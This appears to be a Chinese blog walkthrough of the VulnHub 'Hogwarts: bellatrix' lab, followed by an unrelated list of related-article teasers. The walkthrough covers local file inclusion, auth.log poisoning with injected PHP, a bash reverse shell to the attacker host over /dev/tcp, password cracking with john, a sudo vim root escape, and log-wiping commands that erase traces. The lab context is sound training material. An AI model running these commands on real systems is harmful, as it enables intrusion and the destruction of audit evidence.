vulnhub靶场【Hogwarts】之bellatrix
前言
靶机:hotwarts-dobby,ip地址为192.168.1.69
攻击:kali,ip地址为192.168.1.16
都采用虚拟机,网卡为桥接模式
主机发现
使用arp-scan -l或netdiscover -r 192.168.1.1/24扫描发现主机

信息收集
使用nmap扫描端口

网站信息探测
访问80端口,发现界面显示一串字符,观察其规律,最后有.php,可能是一个文件

查看页面源代码,可以看到给出几个信息点,其中一句话中大概意思是,这次在源代码界面中没有东西,或许我已经告诉你一个目录,.php文件

最终去重后,发现为一个php文件ikilledsiriusblack.php

漏洞寻找
根据前面的页面源代码查询中,发现有一个文件包含,参数为file,那么测试是否可行,尝试包含文件/etc/passwd,发现可以,并发现一个用户lestrange,只是,其采用的是rbash

测试发现,只是本地文件包含,并且/etc/shadow无权限
再次尝试对网站进行目录爆破,不过并没有东西产出
那么尝试使用ffuf配合linux的一些关键目录文件进行测试,观察有哪些可以访问
ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.1.69/ikilledsiriusblack.php?file=FUZZ -fs 1728,0
# -fs是过滤一些特定字节的网页,1728是其网站的默认字节
#这里的字典可以去github上下载一个
发现日志文件auth.log可以访问,尝试进行污染,因为该文件中在进行ssh身份认证时,会记录用户名及相关信息,所需要做的就是把用户名改成一段php代码

漏洞利用
然后尝试进行代码注入

这时候大概率已经注入成功,可以进行查看,一般都是在文件的最后位置,结合前面的信息,一般登录失败会把用户也显示,但是php作为脚本语言,并不会直接显示,判定,已经成功,记录在文件中了

那么尝试利用注入的代码,注入的代码可用

反弹shell
尝试进行一个bash反弹,获取终端
/bin/bash-c 'bash -i >& /dev/tcp/192.168.1.16/1234 >&1'
#这里最好对该语句进行URL编码处理
先在kali中使用nc开启一个监听,浏览器执行上面的语句后就会在kali中反弹成功

然后习惯性的查看当前目录下的文件,意外发现一个root所有者的目录,并且还可以查看,而且还是进行编码处理的名称
解码发现名称是secret,那就值得关注,进入到该目录,发现一个文件,查看后,发现是用户lestrange的hash

提权
水平提权至lestrange
那就简单了,这里可以直接进行hash破解,不过这里还是复习一下unshadow的使用,查看/etc/passwd中的lestrange,然后复制到kali中的一个文件,并把上面的hash也都复制到一个文件,使用unshadow整合在一起后,使用john爆破
这里需要注意,在查看目录是尽量使用ls -al,因为我这里就是因为使用kali中的字典进行爆破,但是长时间没效果,然后再次寻找的时候,发现提供了一个字典

复制该文件的内容,或者下载,怎么都行,只要把内容复制到kali中,然后使用john破解,发现密码ihateharrypotter
#复制文件/etc/passwd内容到kali中的user文件
#复制文件Swordofgryffindor内容到kali中的pass文件
#复制文件字典.sercret.dic内容到kali中的word.txt文件
#使用unshadow整合两个文件到userpass
unshadow user pass > userpass
john userpass --wordlist=word.txt
这里图片中出现两次john是显示问题

使用用户名lestrange和密码ihateharrypotter登录ssh

查看当前目录下的文件,发现.bash_history,查看其内容



垂直提权至root
根据上面的历史命令记录,可能存在sudo提权,所以就不再使用find寻找具有SUID权限文件,直接sudo -l

发现vim,并且对应之前命令历史记录中的语句,可以直接使用,或者查看网站gtfobins.github.io中的方式

使用命令sudo vim -c ':!/bin/sh'提权,成功至root

并且有个script.sh脚本,查看发现原来是更改auth.log权限的

清理痕迹
日志清理,因为这次主要就是auth.log日志文件,所以要好好清理
sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log
历史命令记录
history -r
history -c
总结
该靶场考察以下几点:
- 对于文件的发现,发现到的都要测试一下
- php语言的文件包含,此处使用的是
include,包含时,会执行其文件 - 对于
linux中的一些文件如何配合文件包含,这里就是身份认证日志文件auth.log,因为用户名是可控的,所以传入了脚本语言,导致造成危害 - 对于常见的提权,可以通过查看命令历史记录寻找其中可利用的点,或者利用
suid或者sudo等提权
相关文章:
vulnhub靶场【Hogwarts】之bellatrix
前言 靶机:hotwarts-dobby,ip地址为192.168.1.69 攻击:kali,ip地址为192.168.1.16 都采用虚拟机,网卡为桥接模式 主机发现 使用arp-scan -l或netdiscover -r 192.168.1.1/24扫描发现主机 信息收集 使用nmap扫描端…...
移动 APP 设计规范参考
一、界面设计规范 布局原则: 内容优先:以内容为核心进行布局,突出用户需要的信息,简化页面导航,提升屏幕空间利用率.一致性:保持界面元素风格一致,包括颜色、字体、图标等,使用户在…...
HarmonyOS:@Require装饰器:校验构造传参
一、前言 Require是校验Prop、State、Provide、BuilderParam和普通变量(无状态装饰器修饰的变量)是否需要构造传参的一个装饰器。 说明 从API version 11开始对Prop/BuilderParam进行校验。 从API version 11开始,该装饰器支持在元服务中使用。 从API version 12开…...
github提交不上去,网络超时问题解决
问题出现的原因: DNS服务器数据不同步,github的服务器发送迁移,在本地缓存的ip地址现在无效了。 解决方案: 1)点击这里,查询github.com最新的ip地址 2.0)编辑linux系统地址缓存文件&#x…...
国产数据库OceanBase从入门到放弃教程
1. 介绍 是由蚂蚁集团(Ant Group,原蚂蚁金服)自主研发的分布式关系型数据库。它旨在解决海量数据存储和高并发访问的问题,特别适合金融级应用场景,如支付宝等对数据一致性、可靠性和性能有极高要求的服务。以下是关于…...
风力涡轮机缺陷检测数据集,91.4%准确识别率,18912张图片,支持yolo,PASICAL VOC XML,COCO JSON格式的标注
风力涡轮机缺陷检测数据集,91.4%准确识别率,18912张图片,支持yolo,PASICAL VOC XML,COCO JSON格式的标注 数据集下载: yolo v&#…...
Rabbitmq追问2
分析rabbitmq 默认使用姿势是什么 direct fanout还是什么 public void convertAndSend(String exchange, String routingKey, Object object, CorrelationData correlationData) throws AmqpException { this.send(exchange, routingKey, this.convertMessageIfNecessary(obje…...
郑州时空-TMS运输管理系统 GetDataBase 信息泄露漏洞复现
0x01 产品简介 郑州时空-TMS运输管理系统是一款专为物流运输企业设计的综合性管理软件,旨在提高运输效率、降低运输成本,并实现供应链的协同运作。系统基于现代计算机技术和物流管理方法,结合了郑州时空公司的专业经验和技术优势,为物流运输企业提供了一套高效、智能的运输…...
如何使用React,透传各类组件能力/属性?
在23年的时候,我主要使用的框架还是Vue,当时写了一篇“如何二次封装一个Vue3组件库?”的文章,里面涉及了一些如何使用Vue透传组件能力的方法。在我24年接触React之后,我发现这种扩展组件能力的方式有一个专门的术语&am…...
汇编点灯练习
要求: 1、轮流将LED1、LED2、LED3及蜂鸣器点亮 2、基于STM32MP157AAA,阅读原理图和STM32MP157芯片手册 3、ARM汇编指令点灯 1、运行效果 汇编点灯 2、通过查询原理图和芯片手册,得到以下结论: 3、汇编源码 .text .global _start…...
数据结构与算法之动态规划: LeetCode 213. 打家劫舍 II (Ts版)
打家劫舍 II https://leetcode.cn/problems/house-robber-ii/description/ 描述 你是一个专业的小偷,计划偷窃沿街的房屋,每间房内都藏有一定的现金这个地方所有的房屋都 围成一圈 ,这意味着第一个房屋和最后一个房屋是紧挨着的同时&#…...
Git工具
安装教程 详细安装教程 基本命令...
SpringBoot3.3.3+shardingsphere-jdbc5.5.0读写分离、自定义生成主键策略
最近在开发项目搭建框架时,考虑后期支付模块的订单数据量可能会比较大,于是使用现在主流的shardingsphere的读写分离、水平分表来解决后期数据量大影响查询效率的问题。 项目技术栈:jdk17Springboot3.3.3shardingsphere-jdbc5.5.0mybatis-pl…...
开发运维基本功:无需复杂配置快速实现本地Nginx的公网远程访问
文章目录 前言1. 本地连接测试2. 飞牛云安装Cpolar3. 配置公网连接地址4. 飞牛云APP连接测试5. 固定APP远程地址6. 固定APP地址测试 前言 现在生活和工作中的各种设备都变得越来越智能,而数据存储的需求也随之剧增。想象一下:你正在外地出差,…...
金融租赁系统助力企业转型与市场竞争力提升
内容概要 在现代商业环境中,金融租赁系统不仅是一个简单的工具,而是企业转型的重要推动力。通过优化业务流程,提升自动化水平,它帮助企业在复杂的市场中找到自己的立足之地。想象一下,一个企业在使用传统方法时&#…...
【漫话机器学习系列】028.CP
Mallows’ Cp:标准化公式解析与应用 Mallows’ Cp 是一种常用的模型选择工具,用于在一系列候选模型中权衡拟合度和复杂性,帮助我们选择性能最优的模型。本文将基于其标准化公式展开详细解析,并探讨其应用场景、实现方法、优点与局…...
软件测试——面试八股文(入门篇)
今天给大家分享软件测试面试题入门篇,看看大家能答对几题 一、 请你说一说测试用例的边界 参考回答: 边界值分析法就是对输入或输出的边界值进行测试的一种黑盒测试方法。通常边界值分析法是作为对等价类划分法的补充,这种情况下ÿ…...
如何在不同工作场景下优化嵌入式系统的电源消耗
在不同工作场景下优化嵌入式系统的电源消耗是一个复杂但至关重要的任务,它涉及到硬件设计、软件编程以及系统级管理等多个方面。以下是一些具体的策略和方法: 1. 动态电压频率调节(DVFS) 原理:根据处理器的当前负载动…...
java - SpringBoot3.x接入Security6.x实现JWT认证
java - SpringBoot3.x接入Security6.x实现JWT认证 文章目录 java - SpringBoot3.x接入Security6.x实现JWT认证一、引言二、环境三、Maven依赖四、认识JWT1. JWT组成 五、认识Security6.x1. 和旧版本的区别(Security5.7以前的版本)2. Security6.x的默认筛…...
【每日学点鸿蒙知识】无障碍、getLastLocation、蓝牙问题、卡片大小、关系型数据库等
1、是否有类似无障碍辅助相关的API? 场景描述:锁机app,需要通过无障碍能力辅助检测当前正在打开的app,以及模拟用户操作, 关闭用户想要屏蔽的app 可参考:https://developer.huawei.com/consumer/cn/doc/h…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
浪潮交换机配置track检测实现高速公路收费网络主备切换NQA
浪潮交换机track配置 项目背景高速网络拓扑网络情况分析通信线路收费网络路由 收费汇聚交换机相应配置收费汇聚track配置 项目背景 在实施省内一条高速公路时遇到的需求,本次涉及的主要是收费汇聚交换机的配置,浪潮网络设备在高速项目很少,通…...
libfmt: 现代C++的格式化工具库介绍与酷炫功能
libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库,提供了高效、安全的文本格式化功能,是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全:…...
0x-3-Oracle 23 ai-sqlcl 25.1 集成安装-配置和优化
是不是受够了安装了oracle database之后sqlplus的简陋,无法删除无法上下翻页的苦恼。 可以安装readline和rlwrap插件的话,配置.bahs_profile后也能解决上下翻页这些,但是很多生产环境无法安装rpm包。 oracle提供了sqlcl免费许可,…...
【threejs】每天一个小案例讲解:创建基本的3D场景
代码仓 GitHub - TiffanyHoo/three_practices: Learning three.js together! 可自行clone,无需安装依赖,直接liver-server运行/直接打开chapter01中的html文件 运行效果图 知识要点 核心三要素 场景(Scene) 使用 THREE.Scene(…...
(33)课54:3 张表的 join-on 连接举例,多表查询总结。数据库编程补述及游标综合例题。静态 sqL与动态sqL(可带参数)
(112)3 张表的 join-on 连接举例 : (113) 多表查询总结 : (114)数据库编程补述 : 综合例题 : 以上没有动手练习,不知道这样的语法是否…...
node 进程管理工具 pm2 的详细说明 —— 一步一步配置 Ubuntu Server 的 NodeJS 服务器详细实录 7
前言 我以 Ubuntu Server 打造的 NodeJS 服务器为主题的系列文章,经过五篇博客,我们顺利的 安装了 ubuntu server 服务器,并且配置好了 ssh 免密登录服务器,安装好了 服务器常用软件安装, 配置好了 zsh 和 vim 以及 通过 NVM 安装…...
